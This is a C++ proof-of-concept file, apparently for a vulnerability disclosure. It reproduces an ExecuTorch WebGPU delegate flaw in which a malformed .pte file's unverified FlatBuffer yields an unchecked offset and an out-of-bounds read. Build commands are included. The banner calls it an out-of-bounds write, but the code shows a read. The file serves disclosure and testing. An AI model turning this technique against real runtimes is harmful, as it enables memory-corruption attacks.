File size: 12,213 Bytes
b9fda6b
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
/*
 * runtime_poc_webgpu.cpp
 *
 * Runtime PoC for the WebGPU delegate missing-verifier OOB.
 *
 * Reproduces the exact vulnerable code path from:
 *   WebGPUBackend.cpp:75     β€” VkGraphBufferHasIdentifier check only; no Verifier
 *   WebGPUGraph.cpp:378      β€” GetVkGraph(flatbuffer_data) called with NO Verifier
 *   WebGPUGraph.cpp:536-538  β€” cs.inline_offset = vk_bytes->offset() (no bounds check)
 *   WebGPUGraph.cpp:732-733  β€” constant_data_ + cs.inline_offset (OOB pointer + deref)
 *
 * The fix Vulkan got (VulkanBackend.cpp, merged 2026-05-13) and WebGPU missed:
 *   flatbuffers::Verifier verifier(flatbuffer_data, header->flatbuffer_size);
 *   ET_CHECK_OR_RETURN_ERROR(vkgraph::VerifyVkGraphBuffer(verifier), ...);
 *
 * Build:
 *   clang++ -std=c++17 -g -fsanitize=undefined \
 *       -I~/executorch_vuln/third-party/flatbuffers/include \
 *       -I. \
 *       runtime_poc_webgpu.cpp -o runtime_poc_webgpu_ubsan
 *
 * Run:
 *   ./runtime_poc_webgpu_ubsan malformed_webgpu.pte
 */

#include <cstdint>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <stdexcept>
#include <vector>

#include <flatbuffers/flatbuffers.h>
#include "schemas/vkgraph_generated.h"

// ---- WebGPUDelegateHeader (from WebGPUDelegateHeader.h/.cpp) ----------------

struct WebGPUDelegateHeader {
    uint32_t header_size;
    uint32_t flatbuffer_offset;
    uint32_t flatbuffer_size;
    uint32_t bytes_offset;
    uint64_t bytes_size;

    static WebGPUDelegateHeader parse(const uint8_t* data) {
        // magic at offset 4 must be "VH00"
        if (memcmp(data + 4, "VH00", 4) != 0)
            throw std::runtime_error("WebGPUDelegateHeader: bad magic");

        WebGPUDelegateHeader h;
        uint16_t hs; memcpy(&hs, data + 8,  2); h.header_size      = hs;
        memcpy(&h.flatbuffer_offset, data + 10, 4);
        memcpy(&h.flatbuffer_size,   data + 14, 4);
        memcpy(&h.bytes_offset,      data + 18, 4);
        memcpy(&h.bytes_size,        data + 22, 8);
        return h;
    }
};

// ---- ConstantSource (mirrors WebGPUGraph.h internals) -----------------------

static const uint64_t INLINE_OFFSET_NONE = UINT64_MAX;

struct ConstantSource {
    uint64_t inline_offset = INLINE_OFFSET_NONE;
    size_t   nbytes        = 0;
};

// ---- FlatBuffers .pte parser (extract backend_delegate_data[0].data) --------
// Manual traversal identical to what we did for MPS.

static std::vector<uint8_t> extract_delegate_payload(
        const uint8_t* pte, size_t pte_size) {

    if (pte_size < 8 || memcmp(pte + 4, "ET12", 4) != 0)
        throw std::runtime_error("Not a valid ET12 .pte file");

    // FlatBuffers root offset
    uint32_t root_off; memcpy(&root_off, pte, 4);
    const uint8_t* prog_table = pte + root_off;

    // Program vtable
    int32_t vtable_soff; memcpy(&vtable_soff, prog_table, 4);
    const uint8_t* vtable = prog_table - vtable_soff;
    uint16_t vtable_size; memcpy(&vtable_size, vtable, 2);

    // Program field order (from program.fbs):
    //   version(0)=4, execution_plan(1)=6, constant_buffer(2)=8,
    //   backend_delegate_data(3)=10
    uint16_t bdd_off = 0;
    if (vtable_size > 10) memcpy(&bdd_off, vtable + 10, 2); // field index 3

    if (bdd_off == 0) throw std::runtime_error("No backend_delegate_data");

    const uint8_t* bdd_ptr = prog_table + bdd_off;

    // bdd_ptr -> offset to vector of BackendDelegateInlineData
    int32_t vec_rel; memcpy(&vec_rel, bdd_ptr, 4);
    const uint8_t* vec = bdd_ptr + vec_rel;

    uint32_t vec_len; memcpy(&vec_len, vec, 4);
    if (vec_len == 0) throw std::runtime_error("Empty backend_delegate_data");

    // First element offset
    int32_t elem_rel; memcpy(&elem_rel, vec + 4, 4);
    const uint8_t* elem = vec + 4 + elem_rel;

    // BackendDelegateInlineData vtable -> field 0 = data (byte vector)
    int32_t elem_vt_soff; memcpy(&elem_vt_soff, elem, 4);
    const uint8_t* elem_vt = elem - elem_vt_soff;
    uint16_t elem_vt_size; memcpy(&elem_vt_size, elem_vt, 2);

    uint16_t data_off = 0;
    if (elem_vt_size > 4) memcpy(&data_off, elem_vt + 4, 2);
    if (data_off == 0) throw std::runtime_error("No data field in BackendDelegateInlineData");

    const uint8_t* data_ptr = elem + data_off;
    int32_t data_rel; memcpy(&data_rel, data_ptr, 4);
    const uint8_t* byte_vec = data_ptr + data_rel;

    uint32_t byte_len; memcpy(&byte_len, byte_vec, 4);
    const uint8_t* payload = byte_vec + 4;

    return std::vector<uint8_t>(payload, payload + byte_len);
}

// ---- elem_size for VkDataType -----------------------------------------------

static size_t vk_datatype_size(int8_t dt) {
    switch (dt) {
        case 0: return 1; // BOOL
        case 1: return 1; // UINT8
        case 2: return 1; // INT8
        case 3: return 4; // INT32
        case 4: return 2; // FLOAT16
        case 5: return 4; // FLOAT32
        case 6: return 8; // FLOAT64
        case 7: return 8; // INT64
        default: return 4;
    }
}

// ---- Main -------------------------------------------------------------------

int main(int argc, char** argv) {
    setvbuf(stdout, nullptr, _IONBF, 0);  // unbuffered so printfs appear before UBSan stderr
    printf("==========================================================\n");
    printf(" ExecuTorch WebGPU Delegate Runtime PoC\n");
    printf(" CVE class  : CWE-787 (Out-of-bounds Write)\n");
    printf(" Source     : backends/webgpu/runtime/WebGPUGraph.cpp\n");
    printf(" Root cause : GetVkGraph() called without flatbuffers::Verifier\n");
    printf(" Sibling    : Vulkan (same vkgraph schema) was patched 2026-05-13\n");
    printf("==========================================================\n\n");

    if (argc < 2) {
        fprintf(stderr, "Usage: %s malformed_webgpu.pte\n", argv[0]);
        return 1;
    }

    // Load .pte
    FILE* f = fopen(argv[1], "rb");
    if (!f) { perror("fopen"); return 1; }
    fseek(f, 0, SEEK_END); long fsz = ftell(f); rewind(f);
    std::vector<uint8_t> pte(fsz);
    fread(pte.data(), 1, fsz, f);
    fclose(f);

    printf("[+] Loaded .pte: %ld bytes, identifier %.4s\n", fsz, pte.data() + 4);

    // Extract WebGPU delegate payload from backend_delegate_data[0]
    auto payload = extract_delegate_payload(pte.data(), pte.size());
    printf("[+] WebGPU delegate payload: %zu bytes\n", payload.size());

    // Parse WebGPUDelegateHeader (WebGPUBackend.cpp:64-75)
    auto hdr = WebGPUDelegateHeader::parse(payload.data());
    printf("[+] VH00 header: fb_offset=%u fb_size=%u bytes_offset=%u bytes_size=%llu\n",
           hdr.flatbuffer_offset, hdr.flatbuffer_size,
           hdr.bytes_offset, (unsigned long long)hdr.bytes_size);

    const uint8_t* flatbuffer_data = payload.data() + hdr.flatbuffer_offset;
    const uint8_t* constant_data   = payload.data() + hdr.bytes_offset;
    size_t         constant_size   = (size_t)hdr.bytes_size;

    // --- Reproduce WebGPUBackend.cpp:75 ---
    // Only a 4-byte identifier check; no flatbuffers::Verifier before GetVkGraph
    printf("\n[PoC] WebGPUBackend.cpp:75: VkGraphBufferHasIdentifier check (4-byte only β€” NO flatbuffers::Verifier)\n");
    bool has_id = vkgraph::VkGraphBufferHasIdentifier(flatbuffer_data);
    printf("[PoC] VkGraphBufferHasIdentifier: %s\n", has_id ? "true" : "false");

    // --- Reproduce WebGPUGraph.cpp:378 (inside build()) ---
    // GetVkGraph() called with NO Verifier β€” attacker controls the flatbuffer
    printf("[PoC] WebGPUGraph.cpp:378: GetVkGraph(flatbuffer_data) β€” NO flatbuffers::Verifier\n");
    const vkgraph::VkGraph* graph = vkgraph::GetVkGraph(flatbuffer_data);
    printf("[PoC] GetVkGraph returned: %p\n", (void*)graph);

    // --- Reproduce WebGPUGraph.cpp:480-545 (build() constant-source mapping) ---
    printf("\n[PoC] Entering WebGPUGraph::build() constant-source mapping\n");
    printf("[PoC] Source: backends/webgpu/runtime/WebGPUGraph.cpp\n\n");

    const auto* values    = graph->values();
    const auto* constants = graph->constants();

    if (!values || !constants) {
        fprintf(stderr, "No values/constants in graph\n");
        return 1;
    }

    printf("[PoC] graph->values()->size()    = %u\n", values->size());
    printf("[PoC] graph->constants()->size() = %u\n", constants->size());

    ConstantSource cs;

    for (unsigned i = 0; i < values->size(); i++) {
        const auto* val = values->Get(i);
        if (val->value_type() != vkgraph::GraphTypes_VkTensor) continue;

        const auto* vk_tensor = val->value_as_VkTensor();

        // Compute nbytes (WebGPUGraph.cpp:483-493)
        size_t numel = 1;
        if (vk_tensor->dims()) {
            for (unsigned j = 0; j < vk_tensor->dims()->size(); j++)
                numel *= vk_tensor->dims()->Get(j);
        }
        size_t elem_size = vk_datatype_size(vk_tensor->datatype());
        size_t nbytes    = numel * elem_size;

        printf("[PoC] WebGPUGraph.cpp:493: tensor[%u] numel=%zu elem_size=%zu nbytes=%zu\n",
               i, numel, elem_size, nbytes);

        int constant_id = vk_tensor->constant_id();
        if (constant_id < 0) continue;

        printf("[PoC] WebGPUGraph.cpp:516: constant_id=%d\n", constant_id);

        // WebGPUGraph.cpp:527-532 β€” bounds check on constant_id (present in real code)
        if (constant_id >= (int)constants->size()) {
            printf("[PoC] constant_id out of range β€” would throw\n");
            return 1;
        }

        // WebGPUGraph.cpp:534 β€” constants->Get() on unverified flatbuffer
        const auto* vk_bytes = constants->Get(constant_id);
        printf("[PoC] WebGPUGraph.cpp:534: constants->Get(%d) on unverified FlatBuffer\n", constant_id);

        printf("[PoC] WebGPUGraph.cpp:536: cs.nbytes = tensor.nbytes = %zu\n", nbytes);
        cs.nbytes = nbytes;

        // WebGPUGraph.cpp:537-538 β€” THE MISSING BOUNDS CHECK
        printf("[PoC] WebGPUGraph.cpp:537: if (vk_bytes->offset() != UINT64_MAX)\n");
        printf("[PoC] WebGPUGraph.cpp:537: vk_bytes->offset() = 0x%llx\n",
               (unsigned long long)vk_bytes->offset());

        if (vk_bytes->offset() != UINT64_MAX) {
            cs.inline_offset = vk_bytes->offset();
            printf("[PoC] WebGPUGraph.cpp:538: cs.inline_offset = 0x%llx  (NO bounds check vs constant_data size)\n",
                   (unsigned long long)cs.inline_offset);
            printf("[PoC] constant_data section is %zu bytes β€” offset 0x%llx is WAY past it\n",
                   constant_size, (unsigned long long)cs.inline_offset);
        }
    }

    // --- Reproduce WebGPUGraph.cpp:717-733 (materialize_constant) ---
    printf("\n[PoC] Entering materialize_constant() (WebGPUGraph.cpp:717-733)\n");
    printf("[PoC] WebGPUGraph.cpp:728: cs.inline_offset != UINT64_MAX -> true\n");
    printf("[PoC] WebGPUGraph.cpp:732: wgpuQueueWriteBuffer(queue_, dst, 0,\n");
    printf("[PoC]                          constant_data_ + cs.inline_offset, cs.nbytes)\n");
    printf("[PoC] constant_data_ = %p\n", (void*)constant_data);
    printf("[PoC] cs.inline_offset = 0x%llx\n", (unsigned long long)cs.inline_offset);
    printf("[PoC] cs.nbytes = %zu\n", cs.nbytes);
    printf("[PoC] *** OUT-OF-BOUNDS: constant_data_ + 0x%llx is %llu bytes past a %zu-byte section ***\n\n",
           (unsigned long long)cs.inline_offset,
           (unsigned long long)cs.inline_offset - constant_size,
           constant_size);

    printf("[PoC] Executing OOB pointer arithmetic now...\n");

    // Exact expression from WebGPUGraph.cpp:733:
    //   wgpuQueueWriteBuffer(queue_, dst, 0, constant_data_ + cs.inline_offset, cs.nbytes)
    // wgpuQueueWriteBuffer reads from [constant_data_+cs.inline_offset, +cs.nbytes).
    // UBSan catches OOB pointer arithmetic first; then SEGV on dereference.
    const uint8_t* oob_ptr = constant_data + cs.inline_offset;
    printf("[PoC] oob_ptr = %p (computed from constant_data_ + 0x%llx)\n",
           (void*)oob_ptr, (unsigned long long)cs.inline_offset);

    // Force a dereference β€” this is what wgpuQueueWriteBuffer does internally
    // when it reads the source buffer to upload to the GPU.
    volatile uint8_t byte = *oob_ptr;
    (void)byte;

    printf("[PoC] SHOULD NOT REACH HERE\n");
    return 0;
}